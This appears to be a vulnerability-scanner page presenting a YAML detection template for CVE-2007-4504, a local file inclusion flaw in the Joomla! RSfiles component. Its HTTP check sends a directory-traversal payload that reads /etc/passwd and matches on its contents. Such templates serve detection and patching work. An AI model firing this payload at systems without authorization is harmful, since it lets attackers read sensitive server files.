CVE-2007-4504: Joomla! RSfiles <=1.0.2 - Local File Inclusion

2025-08-01 Joomla RSfiles PoC Public

Description

Joomla! RSfiles 1.0.2 and earlier is susceptible to local file inclusion in index.php in the RSfiles component (com_rsfiles). This could allow remote attackers to arbitrarily read files via a .. (dot dot) in the path parameter in a files.display action.

PoC

id: CVE-2007-4504

info:
  name: Joomla! RSfiles <=1.0.2 - Local File Inclusion
  author: daffainfo
  severity: medium
  description: Joomla! RSfiles 1.0.2 and earlier is susceptible to local file inclusion in index.php in the RSfiles component (com_rsfiles). This could allow remote attackers to arbitrarily read files via a .. (dot dot) in the path parameter in a files.display action.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files and potential remote code execution.
  remediation: |
    Upgrade to the latest version of Joomla! RSfiles or apply the necessary patches provided by the vendor.
  reference:
    - https://www.exploit-db.com/exploits/4307
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/36222
    - https://nvd.nist.gov/vuln/detail/CVE-2007-4504
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2007-4504
    cwe-id: CWE-22
    epss-score: 0.09491
    epss-percentile: 0.95179
    cpe: cpe:2.3:a:joomla:rsfiles:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: joomla
    product: rsfiles
  tags: cve2007,cve,lfi,edb,joomla,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_rsfiles&task=files.display&path=../../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100ea71236693311d4d67aa284a6aedfb22556cdf80b7b20b480797bcabb4ca398c0221009c010b76fd33ab4329ef91d349f1b795b3abbd5744924f9399e136b2d1856dc7:922c64590222798bb761d5b6d8e72950

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